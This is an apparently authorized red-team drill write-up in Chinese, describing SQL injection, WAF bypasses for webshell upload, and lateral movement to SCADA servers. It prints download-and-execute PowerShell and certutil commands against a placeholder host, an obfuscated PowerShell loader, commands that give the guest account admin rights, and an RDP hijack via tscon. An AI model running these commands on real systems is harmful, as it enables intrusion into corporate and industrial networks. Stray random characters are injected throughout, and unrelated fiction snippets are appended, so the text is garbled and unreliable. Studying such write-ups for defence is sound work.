一次直達(dá)工控區(qū)的"簡單"滲透

前言

好久沒寫實(shí)戰(zhàn)文章了该编,過年過的手都麻了迄本,一天不滲透我是渾身難受。正想找?guī)讉€(gè)站泄泄火呢课竣。剛好就接到了領(lǐng)導(dǎo)的任務(wù)嘉赎,需要我去參加某集團(tuán)組織的攻防演練。過程即簡單也曲折于樟,好在成功繞過waf公条,且橫向滲透取得辦公區(qū)運(yùn)維機(jī)權(quán)限,最終取得工控生產(chǎn)區(qū)服務(wù)器權(quán)限迂曲,完成滲透目標(biāo)靶橱,skr~ skr~。

sql注入打點(diǎn)

經(jīng)過前期不斷的信息收集,發(fā)現(xiàn)目標(biāo)下的某辦公系統(tǒng)抓韩,根據(jù)本次規(guī)則,其下屬單位也在攻擊范圍內(nèi)鬓长,且和主目標(biāo)屬于一個(gè)c段谒拴。向裁判溝通,確定了目標(biāo)在演練范圍內(nèi)涉波,直接沖英上。

沒發(fā)現(xiàn)弱口令,各種翻源碼和信息收集啤覆,后來在Js里找到一處未授權(quán)訪問的接口苍日。

經(jīng)測試,這個(gè)接口存在SQL注入窗声,WAF稍微繞一下即可相恃。

跑出來管理后臺口令和密碼,成功登錄管理后臺笨觅。

bypass waf getshell

登錄后發(fā)現(xiàn)存在上傳功能拦耐,通過對上傳點(diǎn)測試發(fā)現(xiàn)存在任意文件上傳,且存在未知waf见剩。

當(dāng)數(shù)據(jù)包中存在非法內(nèi)容時(shí)杀糯,waf會對數(shù)據(jù)包進(jìn)行阻斷。

攔截了非法后綴名

攔截了文件內(nèi)容

繞過硬件waf

開始嘗試?yán)@過waf苍苞,首先對文件后綴名的限制進(jìn)行bypass

嘗試使用修改Content-Type進(jìn)行bypass

修改前:

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynyPW4lGbujY0nBEL

在"boundary="和"----"中間插入tab鍵固翰。

修改后:

Content-Type: multipart/form-data; boundary=    ----WebKitFormBoundarynyPW4lGbujY0nBEL

成功繞過后綴名檢測。

接下來嘗試對文件內(nèi)容檢測進(jìn)行繞過羹呵。

測試發(fā)現(xiàn)最基礎(chǔ)的輸出hello world 都會被攔截骂际。

<% response.write("hello world")  %>

經(jīng)過測試發(fā)現(xiàn)waf對 <% %> 進(jìn)行了匹配,因?yàn)槲也欢?net担巩,于是找之前做.net開發(fā)的大學(xué)同學(xué)看看有沒有解決辦法方援。

經(jīng)過一段時(shí)間的閑聊,問題沒有解決掉涛癌。

沒辦法犯戏,如果無法繞過waf的規(guī)則,只能從waf缺陷上入手了拳话。

根據(jù)以前的經(jīng)驗(yàn)先匪,可以使用垃圾數(shù)據(jù)構(gòu)造一個(gè)大的數(shù)據(jù)包,然后把惡意代碼藏到里面弃衍,由于waf檢測要考慮內(nèi)存占用呀非,帶寬占用等等不可避免的問題,因此有幾率繞過waf檢測。

成功上傳了菜刀馬岸裙。

使用客戶端連接超時(shí)猖败,看來waf還對常見的客戶端流量特征進(jìn)行了查殺。

這里可以使用去除特征的客戶端連接降允,或者使用中轉(zhuǎn)的方式繞過恩闻。

繞過代碼waf

決定重新上傳一個(gè)命令執(zhí)行功能的小馬,新的問題出現(xiàn)了剧董。

返回了報(bào)錯(cuò)幢尚,猜測是因?yàn)樾●R中存在函數(shù)代碼內(nèi)容,觸發(fā)了代碼層waf翅楼。

這里繞了個(gè)彎路尉剩,由于之前的一句話木馬上傳成功了,因此我第一時(shí)間就去翻之前收集的免殺小馬進(jìn)行嘗試毅臊,結(jié)果全部上傳失敗理茎。

懷疑可能是我的小馬免殺能力不夠強(qiáng),于是試了團(tuán)隊(duì)其它成員的木馬褂微,有沒有可以成功功蜓。

最后試了n多個(gè)都不行。

路沒走通宠蚂,因?yàn)闆Q定具體去看看攔截的規(guī)則式撼。

嘗試把之前的小馬分的多段,一段一段的添加測試求厕,尋找攔截的點(diǎn)著隆,經(jīng)過嘗試,發(fā)現(xiàn)waf并沒有做大小寫的判斷呀癣。

也就只說只要把攔截的參數(shù)大小寫改變一下就能bypass美浦。

比如修改Request為RequesT

最終把所有攔截的參數(shù)通過這種方式進(jìn)行bypass。

成功訪問到小馬项栏,getshell成功浦辨。

橫向滲透

目前得到了一個(gè)iis的命令執(zhí)行權(quán)限,為了方便內(nèi)網(wǎng)橫向沼沈,需要上線cs流酬。

首先使用ping命令確定目標(biāo)出網(wǎng)情況。

可以嘗試執(zhí)行powershell命令直接上線cs

powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/x'))

也可以使用證書下載嘗試下載木馬到服務(wù)器執(zhí)行列另。

certutil.exe -urlcache -split -f http://x.x.x.x/x.exe  D:\x.exe

存在殺軟的情況需要對powershell命令或exe進(jìn)行免殺處理芽腾,這里不再詳細(xì)展開。(可關(guān)注Tide免殺系列文章)

這里利用免殺powershell命令讓cs成功上線页衙,并且利用爛土豆插件成功提權(quán)至system權(quán)限摊滔。(可關(guān)注明湖論劍《cs木馬免殺技巧分享》的PPT)

Powershell.exe  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal  -w   Normal   set-alias -name key -value IEX; key(New-Object Net.WebClient).DownloadString('h‘+’ttp://x.x.x.x/a')

發(fā)現(xiàn)目標(biāo)為server2012服務(wù)器阴绢,無法讀取明文密碼,因此選擇激活guest用戶艰躺。

net user guest   /active:yes 
net user guest   tide@123456 
net localgroup   administrators  guest   /add

搭建socks5隧道(nps呻袭,frp)

登錄guest用戶,使用rdp劫持登錄administrator腺兴。

query user 
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"      #1為目標(biāo)會話id和當(dāng)前會話名 
net start tide

成功登錄后通過在本機(jī)進(jìn)行信息收集棒妨,發(fā)現(xiàn)遠(yuǎn)程連接的憑證信息,其它服務(wù)數(shù)據(jù)庫密碼等等信息含长。

利用收集到的信息進(jìn)行不斷的橫向移動。

收集了一堆弱口令伏穆,拿下了若干服務(wù)器后拘泞,沒發(fā)現(xiàn)過多敏感東西昔榴,都是一些亂七八糟的web應(yīng)用歉糜。

功夫不負(fù)有心人,內(nèi)網(wǎng)里繞了N圈莫绣,最終發(fā)現(xiàn)某臺服務(wù)器上居然奇葩的保存了一臺win7電腦的遠(yuǎn)程連接憑證烟瞧。

進(jìn)入運(yùn)維區(qū)

win7系統(tǒng)一般為個(gè)人辦公用诗鸭,登錄后果然是辦公區(qū)個(gè)人pc電腦,眉頭一皺,這事果然不簡單参滴。

經(jīng)過判斷應(yīng)該是運(yùn)維人員的辦公PC强岸,發(fā)財(cái)了發(fā)財(cái)了。

花費(fèi)了大量時(shí)間在本機(jī)進(jìn)行信息收集砾赔,找到了內(nèi)網(wǎng)導(dǎo)航站蝌箍,大概清楚了其內(nèi)網(wǎng)網(wǎng)絡(luò)的劃分結(jié)構(gòu)。

通過查找運(yùn)維郵箱暴心,發(fā)現(xiàn)了一個(gè)機(jī)房密碼本文件妓盲。獲得了大量機(jī)房服務(wù)器密碼本,以及一些重要業(yè)務(wù)系統(tǒng)的管理員密碼专普。

保存了大量重要服務(wù)器的密碼悯衬。

進(jìn)入工控生產(chǎn)區(qū)

通過網(wǎng)絡(luò)測試,該運(yùn)維機(jī)居然可直通工控生產(chǎn)區(qū)檀夹,密碼本保存的密碼大部分仍有效筋粗,可直接登錄SCADA服務(wù)器。

文圖無關(guān)
文圖無關(guān)

成功登錄击胜,進(jìn)入到了核心生產(chǎn)內(nèi)網(wǎng)亏狰,點(diǎn)到為止,至此本次滲透結(jié)束偶摔。

總結(jié)

本次滲透暇唾,大量的時(shí)間花費(fèi)在了bypass waf和內(nèi)網(wǎng)信息收集上,最終通過搜集到的機(jī)房服務(wù)器密碼本,讓本次滲透直接取得了工控區(qū)權(quán)限策州,可謂是非常"簡單"瘸味。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市够挂,隨后出現(xiàn)的幾起案子旁仿,更是在濱河造成了極大的恐慌,老刑警劉巖孽糖,帶你破解...
    沈念sama閱讀 221,273評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件枯冈,死亡現(xiàn)場離奇詭異,居然都是意外死亡办悟,警方通過查閱死者的電腦和手機(jī)尘奏,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,349評論 3 398
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來病蛉,“玉大人炫加,你說我怎么就攤上這事∑倘唬” “怎么了俗孝?”我有些...
    開封第一講書人閱讀 167,709評論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長魄健。 經(jīng)常有香客問我赋铝,道長,這世上最難降的妖魔是什么沽瘦? 我笑而不...
    開封第一講書人閱讀 59,520評論 1 296
  • 正文 為了忘掉前任柬甥,我火速辦了婚禮,結(jié)果婚禮上其垄,老公的妹妹穿的比我還像新娘苛蒲。我一直安慰自己,他們只是感情好绿满,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,515評論 6 397
  • 文/花漫 我一把揭開白布臂外。 她就那樣靜靜地躺著,像睡著了一般喇颁。 火紅的嫁衣襯著肌膚如雪漏健。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,158評論 1 308
  • 那天橘霎,我揣著相機(jī)與錄音蔫浆,去河邊找鬼。 笑死姐叁,一個(gè)胖子當(dāng)著我的面吹牛瓦盛,可吹牛的內(nèi)容都是我干的洗显。 我是一名探鬼主播,決...
    沈念sama閱讀 40,755評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼原环,長吁一口氣:“原來是場噩夢啊……” “哼挠唆!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起嘱吗,我...
    開封第一講書人閱讀 39,660評論 0 276
  • 序言:老撾萬榮一對情侶失蹤玄组,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后谒麦,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體俄讹,經(jīng)...
    沈念sama閱讀 46,203評論 1 319
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,287評論 3 340
  • 正文 我和宋清朗相戀三年绕德,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了颅悉。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,427評論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡迁匠,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出驹溃,到底是詐尸還是另有隱情城丧,我是刑警寧澤,帶...
    沈念sama閱讀 36,122評論 5 349
  • 正文 年R本政府宣布豌鹤,位于F島的核電站亡哄,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏布疙。R本人自食惡果不足惜蚊惯,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,801評論 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望灵临。 院中可真熱鬧截型,春花似錦、人聲如沸儒溉。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,272評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽顿涣。三九已至波闹,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間涛碑,已是汗流浹背精堕。 一陣腳步聲響...
    開封第一講書人閱讀 33,393評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留蒲障,地道東北人歹篓。 一個(gè)月前我還...
    沈念sama閱讀 48,808評論 3 376
  • 正文 我出身青樓瘫证,卻偏偏與公主長得像,于是被迫代替她去往敵國和親滋捶。 傳聞我的和親對象是個(gè)殘疾皇子痛悯,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,440評論 2 359

推薦閱讀更多精彩內(nèi)容